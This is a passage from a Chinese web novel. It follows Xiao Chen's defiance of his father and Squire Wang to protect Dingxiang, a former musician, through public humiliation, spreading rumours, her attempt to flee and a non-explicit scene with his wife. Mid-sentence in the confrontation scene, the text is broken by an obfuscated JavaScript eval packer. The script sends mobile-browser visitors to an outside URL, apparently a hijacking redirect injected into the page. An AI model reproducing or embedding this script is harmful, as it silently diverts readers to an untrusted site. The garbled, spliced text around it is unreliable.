肖父看着儿子泛红的眼眶,看着他挺直的脊梁,心里的怒火忽然泄了大半。他知道儿子的性子,看着温和,实则执拗,认定的事八头牛都拉不回来。 他重重地叹了口气,背过身去,声音里带着疲惫:“你想留,就留下吧。但有一条——让她待在那个跨院里,不许踏出半步,更不许让她见外人,免得污了肖家的眼。” 肖晨心里一松,连忙应道:“谢谢爹!我会看好她的!” 只要能留下她,暂时的约束不算什么。他相信,日子久了,父亲总会看到丁香的好。 走出书房时,月光已经爬上墙头。肖晨望着跨院的方向,嘴角忍不住微微上扬。 至少,眼下是安稳的。 他轻轻推开跨院的门,见丁香屋里的灯还亮着,便走了过去,敲了敲门:“睡了吗?” “还没。”屋里传来她的声音。 肖晨推开门,见她正坐在灯下绣东西,便笑着说:“我爹松口了,你可以安心住下了。” 丁香手里的针线顿了顿,抬起头,眼里满是惊讶:“真的?” “嗯。”肖晨点头,“只是暂时要委屈你,别出这跨院,等过些日子,我再跟他好好说。” 丁香看着他眼里的笑意,心里涌上一股暖流,轻轻“嗯”了一声,低下头继续绣着。 灯光下,她的侧脸柔和,指尖的针线在布上穿梭,绣出一朵含苞待放的兰草。 肖晨站在门口,看着这一幕,忽然觉得,之前的牺牲和争执,都值了。 至少,这盏灯,能为她多亮些日子。 至少,她不用再在黑暗里独自发抖了。 肖晨见丁香放下了针线,便在桌边坐下,看着她轻声道:“你以前在花船弹的曲子,我一直记着。那琴声里有劲儿,像野草在风里长,很特别。” 丁香的手指动了动,像是想起了什么,眼底泛起一丝暖意,又很快淡下去:“都是些讨生活的调子,登不得大雅之堂。” “怎么会。”肖晨笑了笑,“我很喜欢。你要是愿意,以后在这院里,也可以弹弹。”他指了指墙角那架闲置的旧琴,“那是傲雪以前学琴用的,你不嫌弃的话,尽管用。” 丁香顺着他的目光看去,那琴蒙着层薄尘,却看得出是架好琴。她摇了摇头:“公子好意我心领了,只是……” “只是怕约束?”肖晨接过话,语气温和,“我让你住在这里,不是把你关在这里。你想弹琴就弹,想画画就画,不用看任何人脸色。”他顿了顿,认真地看着她,“这跨院虽小,却是你的地方,你不用约束自己。” 丁香看着他真诚的眼睛,心里那点紧绷的弦忽然松了。这些日子,她总觉得自己是寄人篱下的累赘,连呼吸都小心翼翼,却没想过,会有人劝她“不用约束”。 她沉默片刻,轻轻点了点头:“若是公子不嫌弃,改日……我弹一曲给你听。” “好啊。”肖晨眼里亮了亮,“我等着。” 他没再多留,起身道:“夜深了,你早些歇着吧。” 走出房门时,他听见身后传来轻轻擦拭琴弦的声音,脚步顿了顿,嘴角扬起一抹浅笑。 或许,让她重新拿起琴,比什么都重要。 有些伤痛,需要时间抚平;有些自由,需要用一点点的“自在”去唤醒。 而跨院里,丁香坐在琴前,指尖轻轻拂过琴弦,冰凉的触感让她微微一颤。 多久没这样碰过琴了?在王府的日子,琴是催命符;在庄子的日子,琴是不敢触碰的念想。 她深吸一口气,指尖落下,第一个音符响起,清越如流水。 月光透过窗棂,落在她身上,落在琴弦上,像一层温柔的纱。 琴声里,没有了花船的谄媚,没有了王府的压抑,只有一丝淡淡的、重新生根的希望。 或许,真的可以试着,在这里安心住下去。 试着,重新做回自己。 肖晨回到房间时,李傲雪正坐在妆台前卸妆,见他进来,便起身接过他的外袍,指尖不经意触到他微凉的袖口,轻声问:“少爷,父亲那边可消气了?” “嗯,安抚好了。”肖晨松了松领口,语气里带着一丝疲惫,却也有几分释然,“他虽没明说接纳,但也允了丁香留在跨院。” 李傲雪将外袍挂好,走到他身后为他揉着肩,声音温软:“这就好,凡事总有个过程。”她顿了顿,又道,“丁香姑娘一个人在跨院想必孤单,我和玉溪白天得空,就过去陪她说说话吧?女人家在一起,总能聊些贴心话,或许能让她松快些。” 肖晨回头看她,眼里满是感激:“多谢你。”他知道李傲雪心思细腻,有她照拂,丁香定能少些拘谨。 “跟我还客气什么。”李傲雪笑了笑,眼底没有半分妒意,“她也是个苦命人,能帮衬一把是应该的。再说,看她绣活不错,我正好跟她讨教讨教,也算有个伴儿。” 肖晨握住她的手,指尖传来熟悉的暖意:“委屈你了。” “不委屈。”李傲雪摇摇头,语气坦然,“你做的是对的事,我哪能拖你后腿。只是……王老爷那边的交易,你真要去他府里做事?” 提到这个,肖晨眼里闪过一丝沉郁,却还是点了点头:“答应了的事,总要做到。不过你放心,只是些抄抄写写的活计,我心里有数。” 李傲雪叹了口气:“那你自己当心,王老爷心思深沉,别被他算计了去。” “我知道。”肖晨反手握住她的手,“等这三年过去,一切就都好了。” 第二天一早,李傲雪果然带着玉溪去了跨院。丁香正坐在廊下看晨露,见她们进来,连忙起身行礼,眼里带着几分局促。 “丁香姑娘别多礼。”李傲雪笑着拉住她的手,“我带了些新做的点心,还有玉溪弄的胭脂水粉,你瞧瞧合不合心意。” 玉溪也笑着把一个小匣子递过去:“这胭脂是用桃花做的,颜色浅,日常用正好,姑娘试试?” 丁香看着她们递过来的东西,又看了看两人和善的笑脸,心里的拘谨渐渐散了,轻声道:“多谢少夫人,多谢玉溪姑娘。” “叫我傲雪就好。”李傲雪拉着她坐下,“我听肖晨说你会弹琴?正好我这里有本新得的琴谱,咱们一起看看?” 阳光透过树叶洒在三人身上,伴着偶尔响起的轻笑,跨院里的空气渐渐暖了起来。 丁香看着眼前这两个真心待她的女子,忽然觉得,这方寸之地,或许也能长出温暖的根。 而肖晨站在院门外,听着里面传来的笑语声,悄悄松了口气,转身往王家走去。 前路纵有风雨,可身边有理解的人,心里有牵挂的事,便也算有了支撑。 他抬头望了望天色,步子沉稳地往前迈去。 王老爷坐在书房里,看着窗外日头渐高,慢悠悠对管家道:“去,把城东的张老爷、李公子,还有城西的赵举人都请来,就说我这儿有新得的好茶,邀他们来品品。” 管家愣了愣:“老爷,今天不是肖公子要来做事吗?请这么多客人来,会不会……” “你懂什么。”王老爷斜睨他一眼,手指在桌上轻轻敲着,眼里闪着算计的光,“那女人我自始至终没碰过,你真当我让肖晨来抄账本、画画是图个乐子?” 他冷笑一声:“那小子年轻气盛,总觉得自己占了理,救了个‘清白女子’很得意。今天我就让他知道,有些脸面,一旦丢了,就再也捡不起来。” 管家这才恍然大悟,心里一凛:“老爷是想……当着众人的面,提丁香姑娘的事?” “不然请他们来做什么?”王老爷端起茶杯抿了一口,“我要让全城的世家都看看,肖家的公子,为了一个从花船里出来、被我王家买过的女人,甘愿来给我当差。还要让他们知道,那女人在我这儿待了那么久,肖晨却当个宝似的捧回去——你说,这事传出去,肖家的脸往哪儿搁?” 他放下茶杯,语气里带着狠戾:“我就是要让他在众人面前抬不起头,让他知道,跟我作对,就得付出代价。年轻人嘛,总要受点教训才知道天高地厚。” 管家心里发寒,嘴上却连忙应道:“老爷高明,这样一来,肖公子以后在城里怕是……” “怕是再也直不起腰了。”王老爷接过话,笑得得意,“他不是看重名声、看重道义吗?我就毁了他的名声,戳破他的道义——让他明白,在我眼里,他救回去的,不过是个别人嚼过的残渣。” 正说着,下人来报:“老爷,肖公子到了。” 王老爷眼里闪过一丝精光,对管家道:“让他先去书房等着,就说我在待客。另外,把请的客人都往书房附近引,让他们‘碰巧’听到些动静。” 管家应声而去,心里暗叹:肖公子这趟,怕是难了。 书房里,肖晨正坐在桌前等着,见王老爷迟迟不来,心里隐隐有些不安。刚拿起一本账册翻看,就听见外面传来一阵喧闹,像是来了不少人。 他正疑惑,王老爷推门进来,身后还跟着几个衣着光鲜的世家老爷和公子,脸上都带着看热闹的笑。 “肖公子来得早啊。”王老爷拍着他的肩,声音洪亮得故意让外面的人都听见,“正好,我给你介绍几位朋友——这位是张老爷,家里做玉器生意的;这位是李公子,文采出众……” 肖晨站起身,客气地拱手行礼,心里的不安却越来越浓。 王老爷拉着他往门口走,故意提高了声音:“说起来,肖公子最近可是做了件‘义举’啊,为了一个叫丁香的姑娘,甘愿来我这儿做事三年,真是让王某佩服。” 这话一出,周围的议论声瞬间停了,所有人的目光都投向肖晨,带着探究、嘲讽,还有几分看好戏的玩味。 “丁香?是不是以前在花船弹唱的那个?”有人故意问道。 “正是。”王老爷笑得越发得意,“肖公子真是情深义重,连这种‘经历丰富’的女子都当成宝,还特意赎回来养在府里,真是……难得啊。” “听说那女子被王老爷您买过?” “是啊,”王老爷故作惋惜地叹了口气,“可惜我没福气,那姑娘性子烈,我碰都没碰过,倒是肖公子有眼光,捡了个‘便宜’。” 周围响起一阵低低的哄笑,那些目光像针一样扎在肖晨身上。 他的脸瞬间涨得通红,拳头紧紧攥着,指甲几乎嵌进肉里。 原来,王老爷请这么多人来,就是为了当众羞辱他,用丁香的过去,把他钉在“不知廉耻”的柱子上。 他抬起头,直视着王老爷得意的嘴脸,声音冷得像冰:“王老爷,说话请注意分寸。” “分寸?”王老爷挑眉,“我说的难道不是实话?还是肖公子觉得,把这样的女人藏在府里,是件光彩的事?” 周围的笑声更大了。 肖晨死死咬着牙,胸口剧烈起伏。他知道,此刻越是愤怒,王老爷越是得意。 他深吸一口气,忽然笑了,声音不大,却清晰地传到每个人耳朵里:“丁香姑娘是我请回肖府的客人,她的过去如何,轮不到外人置喙。倒是王老爷,用一个女子的清白当笑料,宴请众人来围观,就不怕损了自己的名声?” 他挺直脊背,目光扫过那些窃笑的人:“诸位都是有头有脸的人物,难道觉得,拿一个弱女子的苦难取乐,是件体面的事?” 这话像一记耳光,打在众人脸上。那些笑出声的人,脸色顿时有些尴尬,纷纷收了声。 王老爷没想到他敢当众反驳,脸色沉了下来:“你……” “王老爷要是没别的事,我先去抄账本了。”肖晨打断他,对着众人微微拱手,转身走进了书房内侧的小间,关上了门。 门外的喧闹渐渐低了下去,王老爷看着紧闭的房门,气得脸色铁青。 他没料到,肖晨竟能忍下这口气,还反将了众人一军。 管家凑上来,低声道:“老爷,这……” “哼,”王老爷冷哼一声,“别得意得太早,日子还长着呢。” 他就不信,这样的羞辱多来几次,肖晨还能撑得住。 而小间里,肖晨靠在门板上,背抵着冰冷的木头,才觉得浑身的力气都被抽干了。 他闭上眼睛,耳边似乎还回荡着那些嘲讽的笑声。 但他不后悔。 为了丁香,为了心里那点道义,这点羞辱,他受得住。 只是,这三年,怕是不会太平了。 他拿起笔,蘸了墨,在账本上落下工整的字迹。 一笔一划,都像是在积攒着力量。 总有一天,他会让所有人知道,善良和道义,从来都不是笑话。 王老爷听着众人的议论,脸上的得意藏都藏不住,故意叹了口气:“哎,年轻人嘛,总容易被些虚情假意迷了眼。想我当初买她回来,原是瞧着她弹得一手好琴,没想到是个不识抬举的,肖公子偏当块宝,也是奇事。” “可不是嘛,”张老爷摇着扇子,语气里满是鄙夷,“一个从花船出来的,又被王老爷您买过,说好听点是‘烈女’,说难听点就是没人要的货,肖公子倒当成稀世珍宝,还赎回去养着,这要是传出去,肖家的脸面往哪儿搁?” 旁边的李公子年轻气盛,说话更不留情面:“我看他是读书读傻了!什么仁义道德,怕不是被那女人灌了迷魂汤?为了一个连名分都算不上的‘贱籍’女子,甘愿来给王老爷当差,还跟家里闹翻,这哪是读书人该做的事?简直丢尽了我们世家子弟的脸!” “依我看啊,”赵举人捻着胡须,故作高深,“这女子能进肖府,就说明肖公子本身也不怎么样。平日里看着斯斯文文,原来骨子里这般不分贵贱,怕是以后肖家的门风,都要被这女子带坏了。” 众人你一言我一语,句句都往肖晨和丁香身上扎,那些话像淬了毒的针,又尖又利。书房内侧的小间里,肖晨听得一清二楚,指尖的笔猛地一顿,墨滴在账本上晕开一大片,像块丑陋的疤。 他死死咬着牙,额头青筋突突直跳。他不怕自己被羞辱,却见不得他们这样糟践丁香——她明明是无辜的,凭什么要被这些人用最肮脏的话诋毁? 王老爷隔着门听着里面的动静,见肖晨没出来反驳,更是得意,扬声道:“诸位也别这么说,肖公子也是一片‘善心’嘛。只是这善心用错了地方,可惜,可惜啊。” 就在这时,小间的门“吱呀”一声开了。 肖晨站在门口,脸色平静得可怕,目光扫过在场的每一个人,声音不高,却清晰地传到每个人耳朵里:“诸位都是有头有脸的人物,却对着一个弱女子的过去嚼舌根,用最龌龊的心思揣度别人,这就是你们所谓的‘体面’?” 他一步步走出来,直视着张老爷:“张老爷家的玉器生意,当年靠倒卖贡品发家,这事要是传开,算不算体面?” 又看向李公子:“李公子去年强抢民女,逼得人家投河,最后靠银子压下去,这算不算读书人该做的事?” 最后目光落在赵举人身上:“赵举人寒窗苦读,却靠抄袭旁人文章得的功名,这又算不算体面?” 几句话下来,刚才还议论得热火朝天的几人,脸色瞬间变得煞白,张老爷的扇子掉在地上,李公子攥紧了拳头,赵举人更是羞愧地低下头。 这些都是他们各自的把柄,不知肖晨是何时查清的。 肖晨冷笑一声:“谁也别把自己摘得太干净。这世上的人,谁还没点不堪的过去?凭什么要用一个女子的苦难,来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15993202|178041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 彰显自己的‘高贵’?” 他转向王老爷:“王老爷请诸位来,无非是想看着我出丑。现在看完了,若是没事,我还要做事。” 说完,他转身走进小间,“砰”地一声关上了门,将外面的尴尬和难堪,全都关在了门外。 众人面面相觑,谁也说不出话来。刚才那些刻薄的话,此刻像巴掌一样,狠狠扇在自己脸上。 王老爷的脸色铁青,他没想到肖晨会来这么一手,不仅没羞辱到他,反而让自己成了笑话。 “散了吧!”他不耐烦地挥挥手,心里的怒火几乎要烧出来。 众人讪讪地告辞,走出王家大门时,再没人敢提“丁香”两个字,也没人再嘲笑肖晨“不知廉耻”。 有些话,一旦被戳破,就再也没了分量。 而小间里,肖晨重新拿起笔,手却微微有些发抖。 他知道,今日这番话,算是彻底把这些人得罪了。但他不后悔。 他就是要让这些人知道,丁香不是可以随意践踏的尘埃,她和他们一样,值得被尊重。 至于那些流言蜚语,随他们去吧。 只要能护着丁香安稳,这点代价,不算什么。 那些被肖晨当众戳破把柄的世家老爷和公子,回去后越想越窝火。张老爷摔了心爱的玉盏,李公子把房里的花瓶砸了个粉碎,赵举人更是闭门不出,连门生都不见——被人当众揭了抄袭的短,这比杀了他还难受。 “不能就这么算了!”张老爷咬着牙对心腹说,“一个毛头小子也敢骑到咱们头上?传出去,我老张的脸往哪儿搁?去,把他肖晨为了一个花船女子甘愿给王老爷当差的事,往大了传!就说他被那女人迷得神魂颠倒,连祖宗脸面都不要了,连肖老爷都被他气病了!” 李公子更是直接,让人在茶馆、酒楼这些人多眼杂的地方散布谣言,添油加醋地说丁香“水性杨花”,一边吊着王公子,一边勾着肖晨,把肖晨哄得团团转,连家业都不顾了。 赵举人则托了几个文友,在文人圈子里暗讽肖晨“德不配位”,说他“为淫邪所惑,枉读圣贤书”,连带着肖家几代人的名声都被污了几分。 不过几日,整个城里都传遍了——肖家大公子为了一个从花船赎身的女子,不仅和父亲反目,还甘愿给王老爷做牛做马,甚至为了护着那女子,当众顶撞长辈、得罪乡绅,简直是“色令智昏”的典范。 茶馆里,说书先生把这事编成了新段子,添了些“英雄救美反被美人迷”的戏码,听得人津津有味,看向肖府的眼神也多了几分鄙夷和玩味。 肖家的生意也受了影响,有些老主顾觉得肖晨“行事不端”,担心肖家风气不正,悄悄转了别家的生意。 管家急得团团转,跑去找肖晨:“少爷,外面都传疯了!说什么的都有,连咱们的茶叶订单都少了三成,再这么下去……” 肖晨正在抄账本,闻言只是淡淡抬了抬眼:“我知道。” “您知道?”管家急了,“那您倒是想想办法啊!再这么传下去,咱们肖家的名声就全毁了!” “毁不了。”肖晨放下笔,声音平静,“真金不怕火炼,肖家的名声不是几句谣言就能毁的。”他顿了顿,“至于订单,没关系,只要咱们的茶叶质量在,迟早会回来的。” 他心里清楚,这些人就是想逼他妥协,逼他把丁香赶出去,逼他低头认错。可他偏不。 “让他们传吧。”肖晨重新拿起笔,“嘴长在别人身上,咱们管不了,只能管好自己。” 管家看着他平静的侧脸,心里又急又气,却也没别的办法,只能叹着气退了出去。 而肖府的跨院里,丁香也听到了些风声。玉溪去厨房取点心时,不小心听到下人们的议论,回来偷偷告诉了她。 “姑娘,您别往心里去,那些人就是闲的,乱嚼舌根。”玉溪安慰道。 丁香却沉默了,脸色苍白得像纸。她走到窗边,望着院墙外的天空,眼里满是自责。 都是因为她。 如果不是她,肖晨不会被王老爷要挟,不会被当众羞辱,不会被全城的人指指点点,肖家的生意也不会受影响。 她留在这里,就是个祸害。 “玉溪,”她忽然开口,声音有些发颤,“帮我准备些干粮和水,我……我今晚就走。” “姑娘您要去哪儿?”玉溪吓了一跳,“外面那么乱,您一个人……” “总会有去处的。”丁香打断她,眼里带着决绝,“我不能再连累肖公子了。” 她不能让他为了自己,付出这么大的代价。 自由虽然可贵,可若要用别人的痛苦和牺牲来换,她宁愿不要。 夜深人静时,丁香换上一身便于行走的男装,把那支银哨和肖晨送的那盒颜料贴身藏好,悄悄推开了跨院的门。 月光下,她回头望了一眼那间亮着灯的书房——肖晨应该还在看书吧。 “对不起。”她对着空气,轻声说了一句,转身消失在夜色里。 有些债,太重,她还不起。 只能用这种方式,还他一个清净。 玉溪见丁香态度坚决,知道自己劝不住,急得直跺脚,转身就往肖晨的书房跑。推开门时,肖晨正对着账本出神,见她气喘吁吁,连忙问道:“怎么了?” “少爷,不好了!”玉溪急声道,“丁香姑娘……她要走!说不想连累您,已经收拾东西准备连夜离开了!” 肖晨手里的笔“啪”地掉在桌上,墨汁溅了一片。他猛地站起身,二话不说就往外冲,连外袍都没顾上穿。 “丁香!” 刚跑出肖府大门,就看到一个穿着男装的瘦小身影正往巷口走,步伐踉跄,像是带着满心的沉重。 那身影顿住了,缓缓转过身,月光落在她脸上,正是丁香。她脸上还带着未干的泪痕,看到肖晨,眼里闪过一丝慌乱,随即低下头:“公子。” 肖晨几步冲到她面前,胸口剧烈起伏,又气又急:“你为什么要走?!我不是说过,让你安心住下吗?” “我不能再连累你了。”丁香的声音发颤,抬起头看着他,眼里满是愧疚,“外面都在传,说我毁了你的名声,害了肖家的生意……这些都是因我而起,我留下来一天,你就多受一天委屈,我……” “谁说这是委屈?”肖晨打断她,语气带着一丝不易察觉的颤抖,“我做这些,不是为了让你走的!你以为你走了,那些谣言就会停吗?你以为这样我就能放下吗?” 他上前一步,几乎是盯着她的眼睛:“你走了,我这三年的承诺算什么?我为你顶撞父亲、对抗王老爷,又算什么?你以为我做这些,就是为了看你再次消失在我面前吗?” 丁香被他一连串的话问得说不出话,眼泪掉得更凶了:“可我……” “没有可是!”肖晨的声音软了下来,带着恳求,“丁香,这不是你的错。那些流言蜚语,我不在乎;肖家的生意,我会想办法挽回。我只问你,你走了,能去哪里?又能去哪里找到安稳?” 丁香愣住了。 是啊,她能去哪里?天下之大,却没有她的容身之处。离开肖府,她或许真的只能像那些人说的一样,落入更不堪的境地。 “跟我回去。”肖晨伸出手,语气坚定,“相信我,也相信你自己。你不是累赘,更不是祸害。只要你留下,我就有办法让一切好起来。” 他看着她眼里的犹豫和挣扎,声音放得更柔:“你走了,我怎么放下?我怎么能眼睁睁看着你再次陷入险境?丁香,别再走了,好不好?” 月光下,他的眼神真诚而执拗,像一束光,照亮了她心里所有的不安和退缩。 丁香看着他冻得发红的脸颊,看着他眼里毫不掩饰的担忧,忽然觉得,自己的离开,或许才是最残忍的事。 她咬着唇,眼泪再次汹涌而出,却重重地点了点头。 肖晨松了口气,伸手轻轻擦去她的眼泪,动作温柔得像对待易碎的珍宝:“走吧,跟我回家。” 他脱下自己的中衣,披在她肩上,带着她往回走。中衣上还带着他的体温,暖得让她鼻尖发酸。 巷子里,两人的影子被月光拉得很长,紧紧依偎在一起。 或许前路依旧有风雨,或许流言蜚语不会轻易散去。 但此刻,他们都明白了——有些牵绊,一旦生根,就再也放不下了。 与其仓皇逃离,不如并肩面对。 至少,身边有彼此。 42. 肖父的逼迫 作者没有收到大家的回复,决定每周六会更新一张 肖晨把丁香带回跨院,径直走进她的房间,点亮桌上的油灯,昏黄的光瞬间驱散了寒意。他转身去桌边倒了杯热茶,递到她手里:“喝点暖暖身体,夜里凉。” 丁香捧着温热的茶杯,指尖传来暖意,眼眶却又热了。她低着头,看着杯里晃动的茶沫,轻声道:“公子,从来……从来没有人对我这么看中过。” 在花船时,她是供人取乐的玩物;到了王府,她是任人摆布的物件。所有人看她,要么带着欲望,要么带着鄙夷,从没有人像肖晨这样,为她对抗流言,为她顶住压力,甚至在她决意离开时,疯了一样追出来。 “我看中你,不是因为同情,也不是因为一时兴起。”肖晨在她面前站定,目光认真得让她心跳漏了一拍,“是因为我看到了你的好——你的善良,你的坚韧,还有你骨子里那点不肯向命运低头的劲儿。” 他伸出手,轻轻将她揽进怀里。动作很轻,带着小心翼翼的珍视,却让丁香瞬间僵住了,浑身的血液仿佛都凝固了。 “在我心里,你是个好女子。”他的声音贴着她的发顶,带着令人安心的温度,“你不比任何人差,不用因为过去的经历看轻自己。那些经历不是你的错,更不是你该背负的枷锁。” 怀里的人微微颤抖起来,压抑的哭声透过衣襟传来,细碎而委屈,像积攒了太久的雨水,终于找到了宣泄的出口。 肖晨没有说话,只是轻轻拍着她的背,任由她的眼泪浸湿自己的衣襟。他知道,这一路她受了太多苦,太多委屈,需要一个肩膀靠靠,需要有人告诉她——你值得被好好对待。 不知过了多久,丁香的哭声渐渐停了,只是依旧埋在他怀里,不肯抬头。 “以后不要走了,好吗?”肖晨的声音很轻,却带着不容置疑的坚定,“留在这儿,等风头过去,我带你去江南。那里有你喜欢的流水和船,有自由的风,没有人会再提起你的过去。” 丁香在他怀里,用力点了点头,眼泪却又不争气地掉了下来。 这一次,不是因为难过,而是因为太久没有感受过的温暖和希望。 原来,真的会有人,穿过世俗的眼光,穿过她不堪的过去,看到她心里那点微弱的光。 原来,她也可以被人这样珍视着,护爱着。 窗外的月光透过窗棂,落在相拥的两人身上,温柔得像一层纱。 或许前路依旧有风雨,但此刻,这短暂的温暖,却足以支撑着她,勇敢地走下去。 而肖晨抱着怀里的人,心里忽然无比笃定——无论未来有多少艰难险阻,他都不会再让她独自面对了。 有些遇见,注定是为了救赎。 他救赎她的自由,她救赎他的麻木。 如此,便很好。 丁香抬起头,眼里还蒙着一层水汽,声音带着刚哭过的沙哑:“公子……你能陪我一会儿吗?” 她从未如此直白地依赖过谁,可此刻,被他抱过之后,心里那点空落落的恐慌忽然涌了上来,总觉得只要他一走,刚才那些温暖就会像梦一样消失。 肖晨看着她眼底的脆弱,心像被什么轻轻蛰了一下,柔声道:“好,我陪着你。” 他拉着她在床边坐下,没有再多说什么,只是安静地陪着。桌上的油灯跳了跳,将两人的影子投在墙上,挨得很近。 丁香慢慢喝着杯里的茶,温热的液体滑过喉咙,驱散了最后一丝寒意。她偷偷瞥了一眼身旁的肖晨,他正看着窗外的月亮,侧脸在灯光下显得格外柔和,没有了平日里的拘谨,也没有了面对王老爷时的紧绷。 “公子,”她忽然轻声开口,“你真的……不怕那些流言吗?” 肖晨转过头,笑了笑:“怕过,但现在不怕了。”他看着她的眼睛,“因为我知道,我做的是对的事。至于别人怎么说,那是他们的事,我管不了,也不想管。” 丁香低下头,指尖摩挲着温热的杯壁,心里渐渐安定下来。 是啊,有什么好怕的呢? 至少此刻,他在身边。 至少,她不用再独自面对黑暗。 两人就这样静静地坐着,偶尔有风吹过窗棂,带来远处的虫鸣。没有太多的话,却有一种说不出的安稳。 直到油灯里的油渐渐少了,肖晨才站起身:“夜深了,你早些歇着吧。我就在外间的书房,有事喊我一声就好。” 丁香点点头,看着他走到门口,忽然鼓起勇气说了句:“谢谢你,肖公子。” 肖晨回头看她,眼里带着笑意:“好好睡。” 他轻轻带上房门,在外间的书桌前坐下,没有点灯,只是借着月光看着窗外。 刚才抱她的时候,她的身体那么轻,那么瘦,像一片随时会被风吹走的叶子。他忽然很庆幸,自己追上了她。 有些事,一旦错过,可能就是一辈子。 而他,不想错过。 跨院的灯灭了,想来她是睡了。肖晨靠在椅背上,听着里屋传来均匀的呼吸声,嘴角忍不住微微上扬。 明天,又是新的一天。 无论有多少风雨,他都会陪着她,一起面对。 肖晨回到房间时,李傲雪正坐在床边等他,见他进来,连忙起身迎上去,伸手接过他微凉的手,轻轻呵着气:“外面冷,怎么不多穿件衣裳?” 她没提丁香,也没问巷子里的事,只是拉着他坐到床边,从身后轻轻抱住他,下巴抵在他的肩上,声音温软:“少爷,最近城里的流言,都是关于丁香姑娘的。我知道你心里不好受,可她一个女子,总不能一直躲在跨院里,你说……她以后怎么办?” 肖晨反手握住她的手,指腹摩挲着她微凉的指尖,沉默了片刻,然后转过身,认真地看着她的眼睛。李傲雪的眼里没有嫉妒,只有真切的担忧,这让他心里涌上一股暖流。 他抬手抚上她的脸颊,轻轻吻了吻她的额头,声音坚定:“以后,就让她留在府里吧。” 李傲雪愣了愣,随即明白了他的意思,眼里闪过一丝讶异,却很快化为温和的笑意:“也好,有我们在,总能护着她。” “嗯,”肖晨点点头,握紧了她的手,“我们一起照顾她,一辈子。” 他知道,这个决定或许会引来更多的议论,或许父亲那里还要费些功夫,但他心意已决。丁香经历了太多苦难,他想给她一个安稳的归宿,一个不用再担惊受怕的地方。 而李傲雪的理解,更让他觉得这份决定有了底气。 李傲雪靠在他肩上,轻声道:“其实我看丁香姑娘性子纯良,只是命苦了些。留在这里也好,平日里我们做个伴,学点针线活,弹弹琴,日子也能热闹些。” 肖晨心里一暖,低头吻了吻她的发顶:“谢谢你,傲雪。” “跟我说什么谢。”李傲雪抬起头,眼里带着笑意,“我们是夫妻,你的心思,我懂。” 窗外的月光透过窗纱洒进来,落在两人交握的手上,温柔得像一层薄霜。 流言或许还会继续,前路或许依旧有阻碍,但此刻,房间里的暖意,却足以抵御一切寒意。 有些承诺,不必说尽,彼此懂得,便已足够。 而跨院的房间里,丁香似乎感应到了什么,原本紧绷的睡颜,渐渐舒展开来,嘴角甚至带着一丝浅浅的笑意。 或许,她也在梦里,看到了安稳的未来。 李傲雪为肖晨解着衣襟的带子,指尖不经意触到他温热的肌肤,脸颊微微发烫。烛火在她眼里跳动,映得那双素来温婉的眸子添了几分缱绻。 “少爷,”她轻声唤道,声音里带着一丝不易察觉的羞怯。 肖晨低头看她,见她眼波流转,与往日的端庄不同,便温声问:“怎么了?” 李傲雪没说话,只是踮起脚尖,轻轻吻上他的唇。那吻很轻,像羽毛拂过,却带着滚烫的温度。她微微退开些许,睫毛轻颤,声音细若蚊吟:“我……我想……” 余下的话没说完,肖晨已明白了她的意思。连日来的紧绷与压抑,在此刻化为汹涌的情意。他扣住她的后颈,加深了这个吻。 不同于方才的浅尝辄止,这个吻带着隐忍许久的渴望,温柔里裹着不容抗拒的凶狠。他将她紧紧拥在怀里,仿佛要将她揉进骨血里,唇齿间的纠缠带着失而复得的珍重,又有着不容逃离的占有。 李傲雪被他吻得喘不过气,双腿发软,只能攀着他的肩才能站稳。他的吻从唇上滑落,沿着脖颈往下,滚烫的呼吸拂过肌肤,激起一阵战栗。她轻声嘤咛,带着几分求饶,却只换来他更紧的拥抱。 烛火摇曳,将两人的影子投在帐幔上,缠绵交错。他的动作时而温柔如春水,细细描摹着她的轮廓,带着珍视与疼惜;时而又凶狠如烈火,仿佛要将连日来的委屈与担忧,都化作此刻的滚烫。 李傲雪被他折腾得浑身发软,眼角沁出湿意,连求饶的声音都带着哭腔,实在吃不消这忽柔忽烈的攻势。可心底深处,却有着被珍视的暖意——他的隐忍,他的挣扎,他的所有情绪,都在此刻毫无保留地袒露给她。 不知过了多久,烛火渐暗,帐幔落下,将一室的旖旎与温情,都藏进了沉沉的夜色里。 帐内烛火昏昏,李傲雪软在肖晨怀里,发丝凌乱地贴在汗湿的额角,脸颊泛着潮红,连说话都带着几分慵懒的喑哑:“少爷……你太热情了,看你把我弄的……” 她指尖轻轻点了点他的胸口,带着嗔怪,眼底却漾着水光,藏着化不开的柔情。方才那番情动,他温柔时能将人溺在蜜里,凶狠时又让她招架不住,此刻浑身酸软,连抬胳膊的力气都快没了。 肖晨收紧手臂,将她更紧地拥在怀里,下巴抵着她的发顶,呼吸尚未平复,带着灼热的温度。他低头吻了吻她泛红的耳垂,声音低沉沙哑,带着几分戏谑,又藏着浓得化不开的情意:“谁让你那么勾我。” 方才她踮脚吻他时的羞怯,眼波流转时的缱绻,还有那句没说完的“我想”,像羽毛搔在心尖上,勾得他所有的克制都溃不成军。连日来积压的压力、担忧,在此刻都化作了汹涌的爱意,只想将她牢牢锁在怀里,感受这份真实的温暖。 李傲雪被他说得脸颊更烫,往他怀里缩了缩,嗔道:“明明是你自己……” 后面的话被他的吻堵在了喉咙里。这个吻不再像方才那般汹涌,带着事后的温存,轻轻辗转,像春风拂过湖面,漾起圈圈涟漪。 “累了吧?”肖晨松开她,指尖拂过她汗湿的鬓角,语气里满是疼惜。 李傲雪点点头,眼皮沉重得快要合上,却还是强撑着说:“明日……还要去看丁香姑娘呢……” “嗯,让她多睡会儿,咱们晚点去。”肖晨替她掖好被角,声音温柔得能滴出水来,“睡吧,我在。” 李傲雪“嗯”了一声,往他怀里靠得更近了些,鼻尖萦绕着他身上清冽的皂角香,心里安稳得不像话。很快,便抵不住倦意,沉沉睡了过去。 肖晨睁着眼睛,看着怀里人恬静的睡颜,手指轻轻描摹着她的眉眼。连日来的紧绷,在此刻终于彻底松弛下来。 窗外的月光透过窗隙洒进来,落在两人交缠的手上,温柔而绵长。 